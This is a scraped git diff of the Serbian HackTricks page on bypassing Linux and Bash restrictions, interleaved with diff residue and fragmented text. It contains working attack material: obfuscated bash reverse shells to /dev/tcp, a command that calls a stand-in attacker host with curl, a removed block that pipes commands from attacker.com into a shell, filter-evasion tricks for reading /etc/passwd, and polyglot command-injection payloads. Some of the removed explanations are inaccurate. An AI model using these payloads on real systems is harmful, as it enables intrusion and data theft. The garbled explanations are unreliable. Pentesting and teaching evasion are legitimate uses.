* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Zaobilaženje Linux ograničenja
|
||||
# Zaobilazak Linux ograničenja
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,15 +6,15 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -22,7 +22,7 @@ Dobijte pristup danas:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Zaobilaženje uobičajenih ograničenja
|
||||
## Zaobilazak uobičajenih ograničenja
|
||||
|
||||
### Reverse Shell
|
||||
```bash
|
||||
|
@ -31,18 +31,6 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
|||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Kratka Rev shell
|
||||
|
||||
Ova tehnika se koristi za uspostavljanje reverznog shell-a na ciljnom sistemu. Reverzni shell omogućava napadaču da preuzme kontrolu nad ciljnim sistemom i izvršava komande sa udaljene lokacije.
|
||||
|
||||
Da biste koristili ovu tehniku, prvo morate pokrenuti netcat na vašem lokalnom računaru kako biste osluškivali dolazne konekcije. Zatim, na ciljnom sistemu, koristite sledeću komandu da biste uspostavili konekciju sa vašim lokalnim računarom:
|
||||
|
||||
```bash
|
||||
bash -i >& /dev/tcp/<your_local_ip>/<your_local_port> 0>&1
|
||||
```
|
||||
|
||||
Zamijenite `<your_local_ip>` sa IP adresom vašeg lokalnog računara i `<your_local_port>` sa portom na kojem osluškujete konekcije.
|
||||
|
||||
Nakon što se uspostavi konekcija, možete izvršavati komande na ciljnom sistemu sa vašeg lokalnog računara.
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
|
@ -50,27 +38,7 @@ Nakon što se uspostavi konekcija, možete izvršavati komande na ciljnom sistem
|
|||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Zaobilaženje putanja i zabranjenih reči
|
||||
|
||||
Kada se suočite sa restrikcijama u Bash okruženju, postoje neki trikovi koje možete koristiti da ih zaobiđete. Ovi trikovi uključuju korišćenje alternativnih putanja i izbegavanje zabranjenih reči.
|
||||
|
||||
#### Zaobilaženje putanja
|
||||
|
||||
Kada se susretnete sa restrikcijama u vezi sa putanjama, možete koristiti sledeće trikove:
|
||||
|
||||
- Koristite apsolutne putanje: Umesto relativnih putanja, koristite apsolutne putanje kako biste pristupili fajlovima ili direktorijumima koji su van vaše trenutne radne direktorijume.
|
||||
- Koristite putanju sa tačkom: Dodajte tačku ispred putanje kako biste je učinili relativnom u odnosu na trenutnu radnu direktorijumu.
|
||||
- Koristite putanju sa kosom crtom: Dodajte kosu crtu ispred putanje kako biste je učinili apsolutnom u odnosu na koren sistemskog direktorijuma.
|
||||
|
||||
#### Zaobilaženje zabranjenih reči
|
||||
|
||||
Kada se susretnete sa restrikcijama u vezi sa zabranjenim rečima, možete koristiti sledeće trikove:
|
||||
|
||||
- Koristite sinonime: Umesto zabranjenih reči, koristite sinonime koji imaju isto ili slično značenje.
|
||||
- Koristite promenljive: Definišite promenljive sa vrednostima koje želite koristiti umesto zabranjenih reči.
|
||||
- Koristite enkodiranje: Enkodirajte zabranjene reči koristeći različite tehnike, kao što su URL enkodiranje ili base64 enkodiranje.
|
||||
|
||||
Korišćenje ovih trikova može vam pomoći da zaobiđete restrikcije i nastavite sa izvršavanjem željenih komandi u Bash okruženju.
|
||||
### Zaobilazak putanja i zabranjenih reči
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -125,19 +93,7 @@ mi # This will throw an error
|
|||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Zaobilaženje zabranjenih razmaka
|
||||
|
||||
U nekim situacijama, može biti potrebno zaobići zabranjene razmake prilikom izvršavanja komandi u Bash okruženju. Ovo se može postići korišćenjem različitih tehnika. Evo nekoliko primera:
|
||||
|
||||
- **Korišćenje jednostrukih navodnika**: Umesto da koristite dvostruke navodnike, možete koristiti jednostruke navodnike kako biste zaobišli zabranjene razmake. Na primer, umesto `ls -la`, možete koristiti `'ls'-la`.
|
||||
|
||||
- **Korišćenje backslash karaktera**: Možete koristiti backslash karakter (`\`) kako biste zaobišli zabranjene razmake. Na primer, možete koristiti `ls\ -la` umesto `ls -la`.
|
||||
|
||||
- **Korišćenje varijabli**: Možete koristiti varijable kako biste zaobišli zabranjene razmake. Na primer, možete koristiti `ls${IFS}-la` umesto `ls -la`. IFS je unutrašnja varijabla koja predstavlja separator razmaka.
|
||||
|
||||
- **Korišćenje kombinacije tehnika**: Možete kombinovati različite tehnike kako biste zaobišli zabranjene razmake. Na primer, možete koristiti `'ls'${IFS}-la` umesto `ls -la`.
|
||||
|
||||
Važno je napomenuti da ove tehnike mogu biti specifične za određene verzije Bash-a ili drugih shell okruženja. Takođe, treba biti oprezan prilikom korišćenja ovih tehnika, jer mogu dovesti do neželjenih rezultata ili bezbednosnih propusta.
|
||||
### Zaobiđite zabranjene prostore
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
|
@ -170,62 +126,16 @@ g # These 4 lines will equal to ping
|
|||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Zaobilaženje kose crte i obrnutog kosog crte
|
||||
|
||||
Kada se susretnete sa restrikcijama koje zabranjuju korišćenje kose crte (`/`) ili obrnutog kosog crte (`\`) u Bash okruženju, možete koristiti sledeće tehnike za njihovo zaobilaženje:
|
||||
|
||||
- **Korišćenje drugih separatora**: Umesto kose crte ili obrnutog kosog crte, možete koristiti druge separatore kao što su tačka (`.`), crta (`-`) ili podvlaka (`_`).
|
||||
|
||||
- **Korišćenje heksadecimalne reprezentacije**: Možete koristiti heksadecimalnu reprezentaciju karaktera umesto kose crte ili obrnutog kosog crte. Na primer, kosa crta (`/`) se može zameniti sa `\x2f`, a obrnuta kosa crta (`\`) sa `\x5c`.
|
||||
|
||||
- **Korišćenje Unicode reprezentacije**: Možete koristiti Unicode reprezentaciju karaktera umesto kose crte ili obrnutog kosog crte. Na primer, kosa crta (`/`) se može zameniti sa `\u002f`, a obrnuta kosa crta (`\`) sa `\u005c`.
|
||||
|
||||
- **Korišćenje escape sekvenci**: Možete koristiti escape sekvence za korišćenje kose crte ili obrnutog kosog crte. Na primer, kosa crta (`/`) se može zameniti sa `\/`, a obrnuta kosa crta (`\`) sa `\\`.
|
||||
|
||||
Korišćenjem ovih tehnika, možete zaobići restrikcije i koristiti kose crte i obrnute kose crte u Bash okruženju.
|
||||
### Zaobiđite kosu crtu i kosu crtu
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Zaobilaženje cevi
|
||||
|
||||
Kada se suočite sa ograničenjima u korišćenju cevi (pipes) u Bash okruženju, možete koristiti sledeće tehnike za zaobilaženje tih ograničenja:
|
||||
|
||||
- **Process Substitution (Procesno zamenjivanje)**: Možete koristiti procesno zamenjivanje umesto cevi kako biste preneli izlaz jedne komande kao ulaz u drugu komandu. Na primer, umesto `command1 | command2`, možete koristiti `<(command1) command2`.
|
||||
|
||||
- **Temporary File (Privremena datoteka)**: Možete koristiti privremenu datoteku kako biste sačuvali izlaz jedne komande i zatim ga koristili kao ulaz u drugu komandu. Na primer, možete koristiti `command1 > temp_file && command2 < temp_file`.
|
||||
|
||||
- **Command Substitution (Zamenjivanje komande)**: Možete koristiti zamenjivanje komande kako biste preneli izlaz jedne komande kao argument u drugu komandu. Na primer, umesto `command1 | command2`, možete koristiti `command2 $(command1)`.
|
||||
|
||||
- **Here Document (Ovde dokument)**: Možete koristiti "here document" kako biste preneli više linija teksta kao ulaz u komandu. Na primer, možete koristiti `command << EOF` gde `EOF` predstavlja oznaku kraja dokumenta.
|
||||
|
||||
- **Named Pipe (Imenovana cev)**: Možete koristiti imenovanu cev kako biste preneli izlaz jedne komande kao ulaz u drugu komandu. Prvo morate kreirati imenovanu cev pomoću `mkfifo` komande, a zatim možete koristiti `command1 > named_pipe & command2 < named_pipe`.
|
||||
|
||||
- **Process Substitution with File Descriptor (Procesno zamenjivanje sa fajl deskriptorom)**: Možete koristiti procesno zamenjivanje sa fajl deskriptorom kako biste preneli izlaz jedne komande kao ulaz u drugu komandu. Na primer, umesto `command1 | command2`, možete koristiti `command2 <(command1)`.
|
||||
|
||||
Korišćenjem ovih tehnika, možete zaobići ograničenja u korišćenju cevi i efikasno manipulisati podacima u Bash okruženju.
|
||||
### Zaobilazak cevi
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Bypass sa heksadecimalnim kodiranjem
|
||||
|
||||
Ako se susretnete sa restrikcijama u Bash okruženju, možete pokušati da ih zaobiđete koristeći heksadecimalno kodiranje. Ova tehnika vam omogućava da izvršite komande koje bi inače bile blokirane.
|
||||
|
||||
Da biste koristili heksadecimalno kodiranje, prvo morate pretvoriti komandu u heksadecimalni format. Možete to uraditi koristeći alate kao što su `xxd` ili `hexdump`. Na primer, ako želite da izvršite komandu `ls`, možete je pretvoriti u heksadecimalni format koristeći sledeću sintaksu:
|
||||
|
||||
```
|
||||
echo -n 'ls' | xxd -p
|
||||
```
|
||||
|
||||
Ovo će vam dati heksadecimalni zapis komande `ls`. Zatim možete koristiti ovaj heksadecimalni zapis za izvršavanje komande koristeći sledeću sintaksu:
|
||||
|
||||
```
|
||||
echo -n -e '\x6c\x73' | bash
|
||||
```
|
||||
|
||||
Ovde se koristi opcija `-e` sa `echo` komandom kako bi se omogućilo interpretiranje heksadecimalnog zapisa. Nakon toga, komanda se prosleđuje `bash` interpretatoru.
|
||||
|
||||
Korišćenje heksadecimalnog kodiranja može biti korisno kada se susretnete sa restrikcijama koje blokiraju određene komande. Međutim, treba biti oprezan prilikom korišćenja ove tehnike, jer može biti protivzakonito ili protiv pravila korišćenja sistema. Uvek se pridržavajte zakona i pravila prilikom izvođenja bilo kakvih hakovanja ili testiranja sigurnosti.
|
||||
### Zaobilazak pomoću heksadecimalnog kodiranja
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
|
@ -235,61 +145,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Zaobilaženje IP adresa
|
||||
|
||||
Da biste zaobišli ograničenja IP adresa, možete koristiti neke od sledećih tehnika:
|
||||
|
||||
- **Proxy serveri**: Koristite proxy servere kako biste sakrili svoju stvarnu IP adresu i prikazali se sa drugom IP adresom.
|
||||
- **VPN (Virtual Private Network)**: Povežite se sa VPN-om kako biste uspostavili sigurnu vezu i sakrili svoju stvarnu IP adresu.
|
||||
- **Tor mreža**: Koristite Tor mrežu kako biste anonimno pregledali internet i sakrili svoju stvarnu IP adresu.
|
||||
- **Spoofing IP adrese**: Koristite alate za spoofing IP adrese kako biste promenili svoju stvarnu IP adresu i prikazali se sa lažnom IP adresom.
|
||||
|
||||
Napomena: Korišćenje ovih tehnika za zaobilaženje IP adresa može biti ilegalno ili protiv pravila određenih mreža. Uvek se pridržavajte zakona i pravila koja važe na mreži koju koristite.
|
||||
### Zaobiđi IP adrese
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Eksfiltracija podataka zasnovana na vremenu
|
||||
|
||||
Time based data exfiltration (ekstrakcija podataka zasnovana na vremenu) je tehnika koja omogućava hakerima da izvuku podatke iz ciljnog sistema koristeći vremenske kašnjenja. Ova tehnika se često koristi kada su druge metode blokirane ili ograničene.
|
||||
|
||||
Da bi se izvršila eksfiltracija podataka zasnovana na vremenu, hakeri mogu koristiti različite metode kao što su:
|
||||
|
||||
- **Ping komande**: Hakeri mogu koristiti ping komande kako bi slali ICMP pakete sa ciljem da izazovu kašnjenje u odgovoru. Ovo kašnjenje se može koristiti za prenos podataka.
|
||||
- **DNS zahtevi**: Hakeri mogu koristiti DNS zahtev za slanje podataka. Na primer, podaci se mogu enkodirati u poddomene ili u vrednosti polja zahteva.
|
||||
- **HTTP zahtevi**: Hakeri mogu koristiti HTTP zahteve za slanje podataka. Na primer, podaci se mogu enkodirati u vrednosti zaglavlja ili u putanju URL-a.
|
||||
|
||||
Da bi se uspešno izvršila eksfiltracija podataka zasnovana na vremenu, hakeri moraju imati kontrolu nad ciljnim sistemom i moraju biti u mogućnosti da primaju podatke na udaljenom mestu.
|
||||
|
||||
Ova tehnika može biti veoma efikasna jer se oslanja na prirodna vremenska kašnjenja u mrežnom saobraćaju, što može otežati otkrivanje eksfiltracije podataka. Stoga je važno da administratori sistema preduzmu odgovarajuće mere zaštite kako bi sprečili ovakve vrste napada.
|
||||
### Vreme zasnovane ekstrakcije podataka
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Dobijanje karaktera iz okruženjskih promenljivih
|
||||
|
||||
Kada imate pristup okruženjskim promenljivama na ciljnom sistemu, možete iskoristiti ove promenljive kako biste dobili karaktere koji su vam potrebni za dalje napade. Evo nekoliko koraka koje možete preduzeti:
|
||||
|
||||
1. Prvo, proverite koje okruženjske promenljive su dostupne na sistemu koristeći komandu `env` ili `printenv`.
|
||||
|
||||
2. Zatim, pronađite promenljivu koja sadrži karakter koji vam je potreban. Na primer, možete pretražiti promenljive koristeći komandu `grep` kako biste pronašli odgovarajuću promenljivu.
|
||||
|
||||
3. Kada pronađete promenljivu, možete je iskoristiti da biste dobili karakter koji vam je potreban. Na primer, možete koristiti komandu `echo $<promenljiva>` da biste prikazali vrednost promenljive.
|
||||
|
||||
4. Ako vam je potrebno više karaktera, možete kombinovati više promenljivih ili koristiti komandu `cut` da biste izdvojili određeni deo vrednosti promenljive.
|
||||
|
||||
Ova tehnika može biti korisna kada želite da zaobiđete restrikcije ili ograničenja na ciljnom sistemu i dobijete pristup određenim karakterima ili informacijama koje su vam potrebne za dalje napade.
|
||||
### Dobijanje karaktera iz promenljivih okruženja
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS podaci za eksfiltraciju
|
||||
### DNS podaci eksfiltracija
|
||||
|
||||
Na primer, možete koristiti **burpcollab** ili [**pingb**](http://pingb.in).
|
||||
Mogli biste koristiti **burpcollab** ili [**pingb**](http://pingb.in) na primer.
|
||||
|
||||
### Ugrađene funkcije
|
||||
### Ugrađeni
|
||||
|
||||
U slučaju da ne možete izvršiti spoljne funkcije i imate pristup samo **ograničenom skupu ugrađenih funkcija za dobijanje RCE**, postoje neki korisni trikovi za to. Obično **nećete moći koristiti sve** ugrađene funkcije, pa biste trebali **znati sve svoje opcije** kako biste pokušali zaobići zatvor. Ideja je preuzeta sa [**devploit**](https://twitter.com/devploit).\
|
||||
Prvo proverite sve [**ugrađene funkcije ljuske**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Onda imate neke **preporuke**:
|
||||
U slučaju da ne možete izvršiti spoljne funkcije i imate pristup samo **ograničenom skupu ugrađenih funkcija za dobijanje RCE**, postoje neki korisni trikovi za to. Obično **nećete moći koristiti sve** ugrađene funkcije, pa biste trebali **znati sve svoje opcije** kako biste pokušali da zaobiđete zatvor. Ideja od [**devploit**](https://twitter.com/devploit).\
|
||||
Prvo proverite sve [**shell ugrađene funkcije**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Onda imate neke **preporuke**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -341,70 +218,22 @@ chmod +x [
|
|||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Poliglot komandna ubacivanja
|
||||
|
||||
Polyglot komandna ubacivanja je tehnika koja se koristi za zaobilaženje restrikcija Bash okruženja. Ova tehnika omogućava izvršavanje više komandi istovremeno, bez obzira na postavljene restrikcije.
|
||||
|
||||
Da biste koristili poliglot komandna ubacivanja, možete koristiti sledeći format:
|
||||
|
||||
```
|
||||
${IFS}command1${IFS}&&command2${IFS};command3${IFS}||command4${IFS}
|
||||
```
|
||||
|
||||
Gde `${IFS}` predstavlja razmak između komandi. Ovaj format omogućava izvršavanje više komandi u jednom unosu.
|
||||
|
||||
Na primer, ako želite da izvršite komandu `ls` i `id` istovremeno, možete koristiti sledeći poliglot format:
|
||||
|
||||
```
|
||||
${IFS}ls${IFS}&&id${IFS}
|
||||
```
|
||||
|
||||
Ova komanda će izvršiti `ls` komandu, a zatim `id` komandu.
|
||||
|
||||
Poliglot komandna ubacivanja su korisna tehnika za zaobilaženje restrikcija i izvršavanje više komandi u Bash okruženju.
|
||||
### Poliglot ubacivanje komandi
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Zaobilaženje potencijalnih regexa
|
||||
|
||||
Ako se susretnete sa situacijom u kojoj je potrebno zaobići regularne izraze (regexe), možete isprobati neke od sledećih tehnika:
|
||||
|
||||
- **Korišćenje drugačijih znakova**: Umesto standardnih znakova koji se koriste u regexima, kao što su kose crte (/) ili tačke (.), možete isprobati korišćenje drugačijih znakova koji neće biti prepoznati kao regex. Na primer, umesto /home/user možete koristiti #home#user.
|
||||
|
||||
- **Escape karaktera**: Ako se susretnete sa regexom koji koristi specijalne karaktere, možete ih izbeći korišćenjem escape karaktera (\). Na primer, umesto da koristite tačku (.), možete koristiti \. kako biste izbegli da se taj karakter tumači kao regex.
|
||||
|
||||
- **Korišćenje različitih sintaksa**: Ako se regex oslanja na određenu sintaksu, možete isprobati korišćenje drugačije sintakse koja će zaobići ograničenja. Na primer, umesto da koristite \d za prepoznavanje brojeva, možete koristiti [0-9].
|
||||
|
||||
- **Korišćenje više znakova**: Ako se regex oslanja na tačno određen broj znakova, možete pokušati da koristite više znakova kako biste zaobišli ograničenje. Na primer, umesto da koristite \w{8} za prepoznavanje tačno osam alfanumeričkih znakova, možete koristiti \w{8,} kako biste prepoznali osam ili više znakova.
|
||||
|
||||
- **Korišćenje negacije**: Ako se regex oslanja na prepoznavanje određenih znakova, možete pokušati da koristite negaciju kako biste zaobišli ograničenje. Na primer, umesto da koristite [a-zA-Z] za prepoznavanje slova, možete koristiti [^0-9] kako biste prepoznali sve osim brojeva.
|
||||
|
||||
Napomena: Ove tehnike mogu biti korisne za zaobilaženje regexa, ali uvek treba biti oprezan i pažljivo testirati kako bi se izbegle neželjene posledice.
|
||||
### Zaobiđite potencijalne regexe
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
|
||||
Bashfuscator je alat koji se koristi za obfusciranje Bash skripti. Obfusciranje je proces transformacije koda kako bi se otežalo razumijevanje i analiza skripte. Bashfuscator može promijeniti strukturu skripte, preimenovati varijable i funkcije, dodati lažne linije koda i ukloniti komentare kako bi otežao deobfuskaciju skripte. Ovaj alat može biti koristan za zaštitu Bash skripti od neovlaštenog pristupa i analize.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### RCE sa 5 karaktera
|
||||
|
||||
Ova tehnika omogućava izvršavanje udaljenog koda (RCE) koristeći samo 5 karaktera.
|
||||
|
||||
```bash
|
||||
${IFS}a$@
|
||||
```
|
||||
|
||||
Ova komanda koristi varijablu `${IFS}` koja predstavlja razdelnik polja unutar Bash-a. Kombinacija `${IFS}a` koristi razdelnik polja za razdvajanje karaktera `a`. `$@` predstavlja argumente komandne linije.
|
||||
|
||||
Kada se ova komanda izvrši, Bash će interpretirati `a` kao argument komandne linije i izvršiti bilo koju komandu koja je navedena kao argument.
|
||||
|
||||
Ova tehnika omogućava izvršavanje udaljenog koda sa minimalnim brojem karaktera.
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
|
@ -452,19 +281,6 @@ ln /f*
|
|||
## to it in the current folder
|
||||
```
|
||||
### RCE sa 4 karaktera
|
||||
|
||||
Ova tehnika omogućava izvršavanje udaljenog koda (RCE) koristeći samo 4 karaktera.
|
||||
|
||||
```bash
|
||||
$ echo $0
|
||||
bash
|
||||
$ exec 5<>/dev/tcp/attacker.com/80
|
||||
$ cat <&5 | while read line; do $line 2>&5 >&5; done
|
||||
```
|
||||
|
||||
Ova komanda otvara vezu sa udaljenim napadačem na IP adresi "attacker.com" na portu 80. Nakon uspostavljanja veze, komanda čita linije koje dolaze sa napadačevog servera i izvršava ih kao komande na lokalnom sistemu. Izlaz se šalje nazad napadaču.
|
||||
|
||||
Ova tehnika je korisna kada se susretnete sa ograničenjima Bash-a koja sprečavaju izvršavanje određenih komandi.
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -501,7 +317,7 @@ Ova tehnika je korisna kada se susretnete sa ograničenjima Bash-a koja sprečav
|
|||
```
|
||||
## Bypassovanje ograničenja za čitanje-samo/Noexec/Distroless
|
||||
|
||||
Ako se nalazite unutar fajl sistema sa **zaštitom za čitanje-samo i noexec** ili čak u distroless kontejneru, još uvek postoje načini da **izvršite proizvoljne binarne fajlove, čak i shell!:**
|
||||
Ako se nalazite unutar sistema datoteka sa **zaštitom za čitanje-samo i noexec** ili čak u distroless kontejneru, i dalje postoji način da **izvršite proizvoljne binarne datoteke, čak i shell!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
|
@ -513,31 +329,31 @@ Ako se nalazite unutar fajl sistema sa **zaštitom za čitanje-samo i noexec** i
|
|||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reference i više
|
||||
## Reference i Više
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
